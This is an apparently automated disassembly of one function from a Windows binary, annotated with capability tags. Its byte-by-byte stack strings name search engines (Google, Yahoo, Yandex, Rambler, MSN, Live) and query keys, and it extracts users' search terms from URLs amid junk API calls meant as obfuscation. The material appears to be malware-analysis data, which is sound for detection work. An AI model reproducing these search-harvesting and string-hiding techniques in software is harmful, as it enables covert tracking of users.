Function at 0x10003392
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x21c
mov eax, dword [0x100271c0]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
and dword [eax], 0
push ebx
push esi
mov esi, dword [ebp + 0x78]
test esi, esi
push edi
mov dword [ebp - 0x1ac], esi
mov dword [ebp - 0x1a4], eax
je 0x100038c1
cmp byte [esi], 0
je 0x100038c1
mov edi, dword [sym.imp.USER32.dll_GetCursor]
call edi
push 0x100214e8
mov byte [ebp + 0x4c], 0x68
mov byte [ebp + 0x4d], 0x74
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x184]
push eax
call ebx
push 0x42e
push 0xd59
mov byte [ebp + 0x4e], 0x74
call dword [sym.imp.USER32.dll_GetClassLongA]
lea eax, [ebp + 0x4c]
push eax
push esi
mov byte [ebp + 0x4f], 0x70
mov byte [ebp + 0x50], 0x3a
mov byte [ebp + 0x51], 0x2f
mov byte [ebp + 0x52], 0x2f
mov byte [ebp + 0x53], 0
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x100038c1
call edi
mov byte [ebp + 0x2c], 0x67
mov byte [ebp + 0x2d], 0x6f
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov byte [ebp + 0x2e], 0x6f
call esi
push 0x1af1
mov byte [ebp + 0x2f], 0x67
mov byte [ebp + 0x30], 0x6c
mov byte [ebp + 0x31], 0x65
mov byte [ebp + 0x32], 0
call dword [sym.imp.USER32.dll_GetDC]
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x18c]
push eax
mov byte [ebp + 0xc], 0x73
mov byte [ebp + 0xd], 0x65
mov byte [ebp + 0xe], 0x61
mov byte [ebp + 0xf], 0x72
mov byte [ebp + 0x10], 0x63
mov byte [ebp + 0x11], 0x68
mov byte [ebp + 0x12], 0x2e
mov byte [ebp + 0x13], 0x79
mov byte [ebp + 0x14], 0x61
mov byte [ebp + 0x15], 0x68
mov byte [ebp + 0x16], 0x6f
call ebx
push 0x114
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
mov byte [ebp + 0x17], 0x6f
call esi
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x17c]
push eax
mov byte [ebp + 0x18], 0
call ebx
push 0x411
push 0x1fbc
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x122
lea eax, [ebp - 0x198]
push eax
mov byte [ebp - 0x74], 0x79
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0x2d4b
mov byte [ebp - 0x73], 0x61
mov byte [ebp - 0x72], 0x6e
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov byte [ebp - 0x71], 0x64
call esi
mov byte [ebp - 0x70], 0x65
mov byte [ebp - 0x6f], 0x78
call esi
lea eax, [ebp - 0x178]
push eax
push 0x104
mov byte [ebp - 0x6e], 0
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 0x61
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov byte [ebp - 0x52], 0x6d
mov byte [ebp - 0x51], 0x62
mov byte [ebp - 0x50], 0x6c
call esi
push 0x402
push 0x2c7e
mov byte [ebp - 0x4f], 0x65
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x121
lea eax, [ebp - 0x198]
push eax
mov byte [ebp - 0x4e], 0x72
mov byte [ebp - 0x4d], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
lea eax, [ebp - 0x178]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x1d8
mov byte [ebp - 0x34], 0x73
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x61
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x63
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x1c0a
mov byte [ebp - 0x2f], 0x68
call dword [sym.imp.USER32.dll_GetDC]
mov byte [ebp - 0x2e], 0x2e
mov byte [ebp - 0x2d], 0x6d
mov byte [ebp - 0x2c], 0x73
call esi
mov byte [ebp - 0x2b], 0x6e
mov byte [ebp - 0x2a], 0
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x65
call edi
push 0x11d
lea eax, [ebp - 0x194]
push eax
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x72
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push str.riogsxnzwd
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], 0x68
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x180]
push eax
call ebx
mov byte [ebp - 0xe], 0x2e
call edi
push str.bmhbh
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x69
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0xfd6
mov byte [ebp - 0xb], 0x76
mov byte [ebp - 0xa], 0x65
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov byte [ebp - 9], 0
call edi
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp + 0x3c], 0x74
mov byte [ebp + 0x3d], 0x65
mov byte [ebp + 0x3e], 0x78
call ebx
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x174]
push eax
mov byte [ebp + 0x3f], 0x74
mov byte [ebp + 0x40], 0x3d
call ebx
mov edi, dword [sym.imp.USER32.dll_GetDC]
push 0x1c20
mov byte [ebp + 0x41], 0
call edi
push 0x1170
call edi
mov byte [ebp + 0x5c], 0x77
mov byte [ebp + 0x5d], 0x6f
mov byte [ebp + 0x5e], 0x72
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x100214d0
call ebx
push 0x423
push 0xbd0
mov byte [ebp + 0x5f], 0x64
call dword [sym.imp.USER32.dll_GetClassLongA]
mov byte [ebp + 0x60], 0x73
push str.elvnfcfdpeoadn
call ebx
mov byte [ebp + 0x61], 0x3d
call esi
push 0x2992
call edi
mov esi, dword [ebp - 0x1ac]
lea eax, [ebp + 0x2c]
push eax
push esi
mov byte [ebp + 0x62], 0
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x1000374d
push 0x100214bc
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x1000371d
push 0x100214b8
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x100038c1
add eax, 3
mov cl, byte [eax]
mov edx, eax
jmp 0x1000372d
test cl, cl
je 0x10003732
inc edx
mov cl, byte [edx]
cmp cl, 0x26
jne 0x10003726
xor esi, esi
inc esi
push esi
push edx
push eax
call fcn.100031c7
mov ecx, dword [ebp - 0x1a4]
add esp, 0xc
mov dword [ecx], esi
jmp 0x100038c3
lea eax, [ebp + 0xc]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x100037b5
push 0x100214b4
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003783
push 0x100214b0
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x100038c1
add eax, 3
mov cl, byte [eax]
mov edx, eax
jmp 0x10003793
test cl, cl
je 0x10003798
inc edx
mov cl, byte [edx]
cmp cl, 0x26
jne 0x1000378c
mov ecx, dword [ebp - 0x1a4]
mov dword [ecx], 2
push 1
push edx
push eax
call fcn.100031c7
add esp, 0xc
jmp 0x100038c3
lea eax, [ebp - 0x74]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x1000380a
lea eax, [ebp + 0x3c]
push eax
push esi
call fcn.10010a40
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x100038c1
lea eax, [ebp + 0x3c]
push eax
call fcn.10010f40
add esi, eax
mov al, byte [esi]
pop ecx
mov ecx, esi
jmp 0x100037f4
test al, al
je 0x100037f8
inc ecx
mov al, byte [ecx]
cmp al, 0x26
jne 0x100037ed
mov eax, dword [ebp - 0x1a4]
mov dword [eax], 4
push 0
push ecx
push esi
jmp 0x100037a8
lea eax, [ebp - 0x54]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x1000385b
lea eax, [ebp + 0x5c]
push eax
push esi
call fcn.10010a40
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x100038c1
lea eax, [ebp + 0x5c]
push eax
call fcn.10010f40
add esi, eax
mov al, byte [esi]
pop ecx
mov ecx, esi
jmp 0x10003849
test al, al
je 0x1000384d
inc ecx
mov al, byte [ecx]
cmp al, 0x26
jne 0x10003842
mov eax, dword [ebp - 0x1a4]
mov dword [eax], 5
jmp 0x10003804
lea eax, [ebp - 0x34]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x1000387b
lea eax, [ebp - 0x14]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x100038c1
push 0x100214bc
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x1000389d
push 0x100214b8
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x100038c1
push 3
pop esi
add eax, esi
mov cl, byte [eax]
mov edx, eax
jmp 0x100038af
test cl, cl
je 0x100038b4
inc edx
mov cl, byte [edx]
cmp cl, 0x26
jne 0x100038a8
mov ecx, dword [ebp - 0x1a4]
mov dword [ecx], esi
jmp 0x100037a4
xor eax, eax
mov ecx, dword [ebp + 0x6c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010fcb
add ebp, 0x70
leave
ret